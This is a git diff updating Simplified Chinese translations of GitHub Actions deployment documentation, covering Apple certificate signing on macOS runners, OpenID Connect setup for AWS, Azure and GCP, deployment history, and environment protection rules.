diff --git a/translations/zh-CN/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md b/translations/zh-CN/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
index 754cefaf0a..30bf214ae5 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
@@ -1,6 +1,6 @@
 ---
-title: Installing an Apple certificate on macOS runners for Xcode development
-intro: 'You can sign Xcode apps within your continuous integration (CI) workflow by installing an Apple code signing certificate on {% data variables.product.prodname_actions %} runners.'
+title: 在用于 Xcode 开发的 macOS 运行器上安装 Apple 证书
+intro: '您可以在 {% data variables.product.prodname_actions %} 运行器上安装 Apple 代码签名证书，以在持续集成 (CI) 工作流程中对 Xcode 应用签名。'
 redirect_from:
   - /actions/guides/installing-an-apple-certificate-on-macos-runners-for-xcode-development
   - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development
@@ -13,66 +13,66 @@ type: tutorial
 topics:
   - CI
   - Xcode
-shortTitle: Sign Xcode applications
+shortTitle: 签名 Xcode 应用程序
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to add a step to your continuous integration (CI) workflow that installs an Apple code signing certificate and provisioning profile on {% data variables.product.prodname_actions %} runners. This will allow you to sign your Xcode apps for publishing to the Apple App Store, or distributing it to test groups.
+本指南显示如何在持续集成 (CI) 工作流程中添加一个步骤，以在 {% data variables.product.prodname_actions %} 运行器上安装 Apple 代码签名证书和预配配置文件。 这将允许您签署您的 Xcode 应用以发布到 Apple App Store 或分发到测试组。
 
-## Prerequisites
+## 基本要求
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
+您应该熟悉 YAML 和 {% data variables.product.prodname_actions %} 的语法。 更多信息请参阅：
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
 
-You should have an understanding of Xcode app building and signing. For more information, see the [Apple developer documentation](https://developer.apple.com/documentation/).
+您应该了解 Xcode 应用的构建和签名。 更多信息请参阅 [Apple 开发者文档](https://developer.apple.com/documentation/)。
 
-## Creating secrets for your certificate and provisioning profile
+## 为您的证书和预配配置文件创建密码
 
-The signing process involves storing certificates and provisioning profiles, transferring them to the runner, importing them to the runner's keychain, and using them in your build.
+签名过程包括存储证书和预配配置文件、将它们传输给运行器、将它们导入运行器的密钥链，以及在构建中使用它们。
 
-To use your certificate and provisioning profile on a runner, we strongly recommend that you use {% data variables.product.prodname_dotcom %} secrets. For more information on creating secrets and using them in a workflow, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+要在运行器上使用您的证书和预配配置文件，我们强烈建议您使用 {% data variables.product.prodname_dotcom %} 密码。 有关创建密码和在工作流程中使用它们的更多信息，请参阅“[加密密钥](/actions/reference/encrypted-secrets)”。
 
-Create secrets in your repository or organization for the following items:
+在您的仓库或组织中为下列项目创建密钥：
 
-* Your Apple signing certificate.
+* 您的 Apple 签名证书。
 
-  - This is your `p12` certificate file. For more information on exporting your signing certificate from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/dev154b28f09).
-  
-  - You should convert your certificate to Base64 when saving it as a secret. In this example, the secret is named `BUILD_CERTIFICATE_BASE64`.
+  - 这是您的 `p12` 证书文件。 有关从 Xcode 导出签名证书的更多信息，请参阅 [Xcode 文档](https://help.apple.com/xcode/mac/current/#/dev154b28f09)。
 
-  - Use the following command to convert your certificate to Base64 and copy it to your clipboard:
+  - 当您将证书保存为密钥时，您应该将其转换为 Base64 。 在此示例中，该密钥名为 `BUILD_CERTIFICATE_BASE64`。
+
+  - 使用以下命令将证书转换为 Base64 并将其复制到剪贴板：
 
     ```shell
     base64 <em>build_certificate</em>.p12 | pbcopy
     ```
-* The password for your Apple signing certificate.
-  - In this example, the secret is named `P12_PASSWORD`.
+* 您的 Apple 签名证书的密码。
+  - 在此示例中，该密钥名为 `P12_PASSWORD`。
 
-* Your Apple provisioning profile.
+* 您的 Apple 预配配置文件。
 
-  - For more information on exporting your provisioning profile from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/deva899b4fe5).
+  - 有关从 Xcode 导出预配配置文件的更多信息，请参阅 [Xcode 文档](https://help.apple.com/xcode/mac/current/#/deva899b4fe5)。
 
-  - You should convert your provisioning profile to Base64 when saving it as a secret. In this example, the secret is named `BUILD_PROVISION_PROFILE_BASE64`.
+  - 当您将预配配置文件保存为密钥时，您应该将其转换为 Base64 。 在此示例中，该密钥名为 `BUILD_PROVISION_PROFILE_BASE64`。
+
+  - 使用以下命令将预配配置文件转换为 Base64 并将其复制到剪贴板：
 
-  - Use the following command to convert your provisioning profile to Base64 and copy it to your clipboard:
-  
     ```shell
     base64 <em>provisioning_profile.mobileprovision</em> | pbcopy
     ```
 
-* A keychain password.
+* 密钥链密码。
 
-  - A new keychain will be created on the runner, so the password for the new keychain can be any new random string. In this example, the secret is named `KEYCHAIN_PASSWORD`.
+  - 将在运行器上创建一个新的密钥链，因此新密钥链的密码可以是任何新的随机字符串。 在此示例中，该密钥名为 `KEYCHAIN_PASSWORD`。
 
-## Add a step to your workflow
+## 在工作流程中添加一个步骤
 
-This example workflow includes a step that imports the Apple certificate and provisioning profile from the {% data variables.product.prodname_dotcom %} secrets, and installs them on the runner.
+此示例工作流程包括从 {% data variables.product.prodname_dotcom %} 密钥导入 Apple 证书和配置文件并将其安装在运行器上的步骤。
 
 {% raw %}
 ```yaml{:copy}
@@ -119,13 +119,13 @@ jobs:
 ```
 {% endraw %}
 
-## Required clean-up on self-hosted runners
+## 自托管运行器上的必要清理
 
-{% data variables.product.prodname_dotcom %}-hosted runners are isolated virtual machines that are automatically destroyed at the end of the job execution. This means that the certificates and provisioning profile used on the runner during the job will be destroyed with the runner when the job is completed.
+{% data variables.product.prodname_dotcom %} 托管的运行器是孤立的虚拟机器，在作业执行结束时自动销毁。 这意味着在运行器中使用的证书和预配配置文件将在运行器完成任务后被销毁。
 
-On self-hosted runners, the `$RUNNER_TEMP` directory is cleaned up at the end of the job execution, but the keychain and provisioning profile might still exist on the runner.
+自托管的运行器中，`$RUNNER_TEMP` 目录在任务执行结束时被清除，但在运行器上可能仍然存在密钥链和预配配置文件。
 
-If you use self-hosted runners, you should add a final step to your workflow to help ensure that these sensitive files are deleted at the end of the job. The workflow step shown below is an example of how to do this.
+如果您使用自托管的运行器， 您应该在工作流程中添加最后一步，以帮助确保这些敏感文件在作业结束时被删除。 下面显示的工作流程步骤是如何执行此操作的一个示例。
 
 {% raw %}
 ```yaml
diff --git a/translations/zh-CN/content/actions/deployment/index.md b/translations/zh-CN/content/actions/deployment/index.md
index 3117e8d507..c480a14bf2 100644
--- a/translations/zh-CN/content/actions/deployment/index.md
+++ b/translations/zh-CN/content/actions/deployment/index.md
@@ -1,6 +1,6 @@
 ---
-title: Deployment
-shortTitle: Deployment
+title: 部署
+shortTitle: 部署
 intro: 'Automatically deploy projects with {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
diff --git a/translations/zh-CN/content/actions/deployment/managing-your-deployments/index.md b/translations/zh-CN/content/actions/deployment/managing-your-deployments/index.md
index 7aea761e3a..d1d09d4013 100644
--- a/translations/zh-CN/content/actions/deployment/managing-your-deployments/index.md
+++ b/translations/zh-CN/content/actions/deployment/managing-your-deployments/index.md
@@ -1,11 +1,12 @@
 ---
 title: Managing your deployments
 shortTitle: Managing your deployments
-intro: 'You can review the past activity of your deployments.'
+intro: You can review the past activity of your deployments.
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 children:
   - /viewing-deployment-history
 ---
+
diff --git a/translations/zh-CN/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md b/translations/zh-CN/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
index 17ecdbe875..4bf4005037 100644
--- a/translations/zh-CN/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
+++ b/translations/zh-CN/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing deployment history
-intro: View current and previous deployments for your repository.
+title: 查看部署历史记录
+intro: 查看仓库的当前和先前部署。
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,22 +8,22 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: View deployment history
+shortTitle: 查看部署历史记录
 redirect_from:
   - /developers/overview/viewing-deployment-history
   - /actions/deployment/viewing-deployment-history
 ---
 
 
-You can deliver deployments through {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} and environments or with {% endif %}the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)."
+您可以通过 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} 和环境或使用 {% endif %} REST API 和第三方应用程序来交付部署。 {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}有关使用 REST API 进行部署的更多信息，请参阅“[仓库](/rest/reference/repos#deployments)”。
 
-To view current and past deployments, click **Environments** on the home page of your repository.
+要查看当前和过去的部署，请在仓库的主页上单击 **Environments（环境）**。
 {% ifversion ghae %}
-![Environments](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
+![环境](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
 ![Environments](/assets/images/environments-sidebar.png){% endif %}
 
-The deployments page displays the last active deployment of each environment for your repository. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
+部署页显示仓库中每个环境的最新活动部署。 If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
 
-The activity log shows the deployment history for your environments. By default, only the most recent deployment for an environment has an `Active` status; all previously active deployments have an `Inactive` status. For more information on automatic inactivation of deployments, see "[Inactive deployments](/rest/reference/deployments#inactive-deployments)."
+活动日志显示环境的部署历史记录。 默认情况下，只有环境的最新部署具有 `Active` 状态；所有先前的活动部署具有 `Inactive` 状态。 有关自动失活部署的更多信息，请参阅“[非活动部署](/rest/reference/deployments#inactive-deployments)”。
 
-You can also use the REST API to get information about deployments. For more information, see "[Repositories](/rest/reference/repos#deployments)."
+您也可以使用 REST API 来获取有关部署的信息。 更多信息请参阅“[仓库](/rest/reference/repos#deployments)”。
diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
index d7dcd59852..4558591372 100644
--- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
+++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
@@ -1,11 +1,11 @@
 ---
 title: Configuring OpenID Connect in Amazon Web Services
 shortTitle: Configuring OpenID Connect in Amazon Web Services
-intro: 'Use OpenID Connect within your workflows to authenticate with Amazon Web Services.'
+intro: Use OpenID Connect within your workflows to authenticate with Amazon Web Services.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
 
 This guide explains how to configure AWS to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) that uses tokens to authenticate to AWS and access resources.
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.actions.oidc-link-to-intro %}
 
@@ -38,7 +38,7 @@ To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, se
 
 To configure the role and trust in IAM, see the AWS documentation for ["Assuming a Role"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) and ["Creating a role for web identity or OpenID connect federation"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html).
 
-Edit the trust relationship to add the `sub` field to the validation conditions. For example:
+Edit the trust relationship to add the `sub` field to the validation conditions. 例如：
 
 ```json{:copy}
 "Condition": {
@@ -48,7 +48,7 @@ Edit the trust relationship to add the `sub` field to the validation conditions.
 }
 ```
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## 更新 {% data variables.product.prodname_actions %} 工作流程
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
 1. Add permissions settings for the token.
@@ -56,14 +56,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM
 
 ### Adding permissions settings
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例如：
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+You may need to specify additional permissions here, depending on your workflow's requirements.
 
 ### Requesting the access token
 
@@ -85,13 +85,13 @@ env:
 # permission can be added at job level or workflow level    
 permissions:
       id-token: write
-      contents: read    # This is required for actions/checkout@v1
+      contents: read    # This is required for actions/checkout@v2
 jobs:
   S3PackageUpload:
     runs-on: ubuntu-latest
     steps:
       - name: Git clone the repository
-        uses: actions/checkout@v1
+        uses: actions/checkout@v2
       - name: configure aws credentials
         uses: aws-actions/configure-aws-credentials@master
         with:
diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
index 80231b121a..02cdcfad4a 100644
--- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
+++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
@@ -1,11 +1,11 @@
 ---
 title: Configuring OpenID Connect in Azure
 shortTitle: Configuring OpenID Connect in Azure
-intro: 'Use OpenID Connect within your workflows to authenticate with Azure.'
+intro: Use OpenID Connect within your workflows to authenticate with Azure.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
 
 This guide gives an overview of how to configure Azure to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`azure/login`](https://github.com/Azure/login) action that uses tokens to authenticate to Azure and access resources.
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.actions.oidc-link-to-intro %}
 
@@ -42,7 +42,7 @@ Additional guidance for configuring the identity provider:
 - For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
 - For the `audience` setting,  `api://AzureADTokenExchange` is the recommended value, but you can also specify other values here.
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## 更新 {% data variables.product.prodname_actions %} 工作流程
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
 1. Add permissions settings for the token.
@@ -50,14 +50,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM
 
 ### Adding permissions settings
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例如：
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+You may need to specify additional permissions here, depending on your workflow's requirements.
 
 ### Requesting the access token
 
@@ -83,7 +83,7 @@ jobs:
           client-id: ${{ secrets.AZURE_CLIENT_ID }}
           tenant-id: ${{ secrets.AZURE_TENANT_ID }}
           subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
-  
+
       - name: 'Run az commands'
         run: |
           az account show
diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
index ec07382cbc..040ad59843 100644
--- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
+++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
@@ -1,11 +1,11 @@
 ---
 title: Configuring OpenID Connect in Google Cloud Platform
 shortTitle: Configuring OpenID Connect in Google Cloud Platform
-intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.'
+intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
 
 This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources.
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.actions.oidc-link-to-intro %}
 
@@ -33,7 +33,7 @@ To configure the OIDC identity provider in GCP, you will need to perform the fol
 
 1. Create a new identity pool.
 2. Configure the mapping and add conditions.
-3. Connect the new pool to a service account. 
+3. Connect the new pool to a service account.
 
 Additional guidance for configuring the identity provider:
 
@@ -41,7 +41,7 @@ Additional guidance for configuring the identity provider:
 - For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions).
 - The Issuer URL to use: `https://token.actions.githubusercontent.com`
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## 更新 {% data variables.product.prodname_actions %} 工作流程
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
 1. Add permissions settings for the token.
@@ -49,14 +49,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM
 
 ### Adding permissions settings
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例如：
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+You may need to specify additional permissions here, depending on your workflow's requirements.
 
 ### Requesting the access token
 
diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/index.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/index.md
index ce25ef4811..8a6f5e6066 100644
--- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/index.md
+++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/index.md
@@ -1,10 +1,10 @@
 ---
 title: Security hardening your deployments
 shortTitle: Security hardening your deployments
-intro: 'Use OpenID Connect within your workflows to authenticate with your cloud provider.'
+intro: Use OpenID Connect within your workflows to authenticate with your cloud provider.
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 children:
   - /about-security-hardening-with-openid-connect
@@ -15,3 +15,4 @@ children:
   - /configuring-openid-connect-in-cloud-providers
   - /using-openid-connect-with-reusable-workflows
 ---
+
diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
index bcef498934..d2db72a4e8 100644
--- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
+++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
@@ -1,13 +1,13 @@
 ---
 title: Using OpenID Connect with reusable workflows
 shortTitle: Using OpenID Connect with reusable workflows
-intro: 'You can use reusable workflows with OIDC to standardize and security harden your deployment steps.'
+intro: You can use reusable workflows with OIDC to standardize and security harden your deployment steps.
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows
 versions:
   fpt: '*'
-  ghae: 'issue-4757-and-5856'
+  ghae: issue-4757-and-5856
   ghec: '*'
 type: how_to
 topics:
@@ -68,7 +68,7 @@ For example, the following OIDC token is for a job that was part of a called wor
 
 If your reusable workflow performs deployment steps, then it will typically need access to a specific cloud role, and you might want to allow any repository in your organization to call that reusable workflow. To permit this, you'll create the trust condition that allows any repository and any caller workflow, and then filter on the organization and the called workflow. See the next section for some examples.
 
-## Examples
+## 示例
 
 **Filtering for reusable workflows within a specific repository**
 
@@ -87,9 +87,9 @@ You can configure a custom claim that filters for any reusable workflow in a spe
 You can configure a custom claim that filters for a specific reusable workflow. In this example, the workflow run must have originated from a job defined in the reusable workflow `octo-org/octo-automation/.github/workflows/deployment.yml`, and in any repository that is owned by the `octo-org` organization.
 
 - **Subject**:
-  - Syntax: `repo:ORG_NAME/*` 
-  - Example: `repo:octo-org/*` 
+  - Syntax: `repo:ORG_NAME/*`
+  - Example: `repo:octo-org/*`
 
 - **Custom claim**:
-  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` 
+  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref`
   - Example: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2`
diff --git a/translations/zh-CN/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/translations/zh-CN/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
index 065ae4b7de..88a9e1c5ff 100644
--- a/translations/zh-CN/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
+++ b/translations/zh-CN/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
@@ -1,7 +1,7 @@
 ---
 title: Using environments for deployment
 shortTitle: Use environments for deployment
-intro: You can configure environments with protection rules and secrets. A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
+intro: 您可以使用保护规则和机密配置环境。 A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
 product: '{% data reusables.gated-features.environments %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -16,58 +16,58 @@ versions:
 ---
 
 
-## About environments
+## 关于环境
 
 Environments are used to describe a general deployment target like `production`, `staging`, or `development`. When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
 
-You can configure environments with protection rules and secrets. When a workflow job references an environment, the job won't start until all of the environment's protection rules pass. A job also cannot access secrets that are defined in an environment until all the environment protection rules pass.
+您可以使用保护规则和机密配置环境。 当工作流程引用环境时，作业在环境的所有保护规则通过之前不会开始。 在所有环境保护规则通过之前，作业也不能访问在环境中定义的机密。
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** You can only configure environments for public repositories. If you convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. If you convert your repository back to public, you will have access to any previously configured protection rules and environment secrets.
+**Note:** You can only configure environments for public repositories. 如果您将仓库从公开转换为私密，任何配置的保护规则或环境机密将被忽略， 并且您将无法配置任何环境。 如果将仓库转换回公共，您将有权访问以前配置的任何保护规则和环境机密。
 
 Organizations that use {% data variables.product.prodname_ghe_cloud %} can configure environments for private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/deployment/targeting-different-environments/using-environments-for-deployment). {% data reusables.enterprise.link-to-ghec-trial %}
 
 {% endnote %}
 {% endif %}
 
-## Environment protection rules
+## 环境保护规则
 
-Environment protection rules require specific conditions to pass before a job referencing the environment can proceed. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can use environment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches.{% else %}You can use environment protection rules to require a manual approval or delay a job.{% endif %}
+环境保护规则要求通过特定的条件，然后引用环境的作业才能继续。 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}您可以使用环境保护规则来要求手动批准、延迟作业或者将环境限于某些分支。{% else %}您可以使用环境保护规则要求手动批准或延迟作业。{% endif %}
 
-### Required reviewers
+### 需要的审查者
 
-Use required reviewers to require a specific person or team to approve workflow jobs that reference the environment. You can list up to six users or teams as reviewers. The reviewers must have at least read access to the repository. Only one of the required reviewers needs to approve the job for it to proceed.
+使用所需的审查者要求特定人员或团队批准引用环境的工作流程作业。 您最多可以列出六个用户或团队作为审查者。 审查者必须至少具有对仓库的读取访问权限。 只有一个必需的审查者需要批准该作业才能继续。
 
-For more information on reviewing jobs that reference an environment with required reviewers, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."
+有关与必需审查者一起审查引用环境的作业的详细信息，请参阅“[审查部署](/actions/managing-workflow-runs/reviewing-deployments)”。
 
-### Wait timer
+### 等待计时器
 
-Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 0 and 43,200 (30 days).
+在最初触发作业后，使用等待计时器将作业延迟特定时间。 时间（分钟）必须是 0 至 43,200（30天）之间的整数。
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-### Deployment branches
+### 部署分支
 
-Use deployment branches to restrict which branches can deploy to the environment. Below are the options for deployment branches for an environment:
+使用部署分支来限制哪些分支可以部署到环境中。 以下是环境部署分支的选项：
 
-* **All branches**: All branches in the repository can deploy to the environment.
-* **Protected branches**: Only branches with branch protection rules enabled can deploy to the environment. If no branch protection rules are defined for any branch in the repository, then all branches can deploy. For more information about branch protection rules, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
-* **Selected branches**: Only branches that match your specified name patterns can deploy to the environment.
+* **All branches（所有分支）**：仓库中的所有分支都可以部署到环境。
+* **Protected branches（受保护的分支）**：只有启用分支保护规则的分支才能部署到环境。 如果没有为仓库中的任何分支定义分支保护规则，那么所有分支都可以部署。 有关分支保护规则的更多信息，请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches)”。
+* **Selected branches（所选分支）**：只有与指定的名称模式匹配的分支才能部署到环境。
 
